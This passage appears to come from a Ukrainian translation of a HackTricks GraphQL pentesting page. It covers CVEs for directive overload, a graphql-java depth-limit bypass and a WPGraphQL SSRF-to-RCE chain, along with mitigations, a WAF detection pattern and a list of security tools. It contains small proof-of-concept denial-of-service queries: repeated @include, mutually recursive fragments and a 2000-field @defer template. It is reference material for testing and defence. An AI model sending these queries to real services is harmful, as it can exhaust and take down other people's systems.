  • Коренева причина: відсутність обмеження на дубльовані директиви (наприклад тисячі @include), які розгортаються в експоненційну кількість вузлів виконання.
  • Наслідок: один HTTP-запит може виснажити CPU/RAM і призвести до падіння сервісу.
  • Виправлення/пом’якшення: оновити до ≥ 7.0.10 або викликати SchemaBuilder.limit_directives(); як альтернативу — фільтрувати запити правилом WAF, наприклад "@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java обхід обмежень глибини/складності ENF

  • Постраждалі: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Корінна причина: ExecutableNormalizedFields не враховувалися інструментами MaxQueryDepth / MaxQueryComplexity. Тому рекурсивні фрагменти обходили всі обмеження.
  • Наслідки: неавтентифікований DoS проти Java-стеків, які вбудовують graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE chain

  • Поширюється на: WPGraphQL ≤ 1.14.5 (WordPress plugin).
  • Причина: мутація createMediaItem приймала контрольовані атакуючим filePath URLs, що дозволяло доступ до внутрішньої мережі та запис файлів.
  • Вплив: аутентифіковані Editors/Authors могли звертатися до metadata endpoints або записувати PHP-файли для remote code execution.

Зловживання інкрементальною доставкою: @defer / @stream

З 2023 року більшість основних серверів (Apollo 4, GraphQL-Java 20+, HotChocolate 13) реалізували директиви інкрементальної доставки, визначені GraphQL-over-HTTP WG. Кожен deferred patch відправляється як окремий chunk, тому загальний розмір відповіді стає N + 1 (envelope + patches). Запит, що містить тисячі дрібних deferred полів, отже генерує велику відповідь, витрачаючи на це для attacker лише один запит — класичний amplification DoS і спосіб обійти body-size WAF правила, які інспектують лише перший chunk. Самі члени WG відзначали цей ризик.

Example payload generating 2 000 patches:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Заходи пом’якшення: вимкнути @defer/@stream у production або застосувати обмеження max_patches, кумулятивний max_bytes та час виконання. Бібліотеки на кшталт graphql-armor (див. нижче) вже застосовують розумні значення за замовчуванням.


Захисний middleware (2024+)

ПроєктПримітки
graphql-armormiddleware валідації на Node/TypeScript, опублікований Escape Tech. Реалізує plug-and-play обмеження для глибини запиту, кількості alias/field/directive, токенів і вартості; сумісний з Apollo Server, GraphQL Yoga/Envelop, Helix тощо.

Швидкий старт:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor тепер блокуватиме надто глибокі, складні або з великою кількістю директив запити, захищаючи від вищезгаданих CVE.


Інструменти

Сканери вразливостей

  • https://github.com/dolevf/graphql-cop: Тестує поширені неправильні конфігурації graphql endpoints
  • https://github.com/assetnote/batchql: Скрипт для аудиту безпеки GraphQL з акцентом на виконанні пакетних GraphQL запитів і мутацій.
  • https://github.com/dolevf/graphw00f: Визначає fingerprint використовуваного graphql
  • https://github.com/gsmith257-cyber/GraphCrawler: Набір інструментів для отримання schemas і пошуку чутливих даних, тестування authorization, brute force schemas і пошуку шляхів до заданого типу.
  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Може використовуватися як standalone або як Burp extension.
  • https://github.com/swisskyrepo/GraphQLmap: Може використовуватися як CLI-клієнт також для автоматизації атак: python3 graphqlmap.py -u http://example.com/graphql --inject
  • https://gitlab.com/dee-see/graphql-path-enum: Інструмент, який перелічує різні способи досягнення заданого типу в схемі GraphQL.
  • https://github.com/doyensec/GQLSpection: Наступник Standalone і CLI режимів InQL
  • https://github.com/doyensec/inql: Burp extension або python скрипт для розширеного тестування GraphQL. Scanner — ядро InQL v5.0, де ви можете аналізувати GraphQL endpoint або локальний файл introspection schema. Він автоматично генерує всі можливі запити і мутації, організовуючи їх у структурований вигляд для вашого аналізу. Компонент Attacker дозволяє запускати пакетні GraphQL-атаки, що може бути корисним для обходу погано реалізованих rate limits: python3 inql.py -t http://example.com/graphql -o output.json
  • https://github.com/nikitastupin/clairvoyance: Спробуйте отримати схему навіть якщо introspection вимкнено, використовуючи допомогу деяких Graphql баз даних, які підкажуть імена мутацій та параметрів.

Скрипти для експлуатації поширених вразливостей

Клієнти

Автоматичні тести

https://graphql-dashboard.herokuapp.com/

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks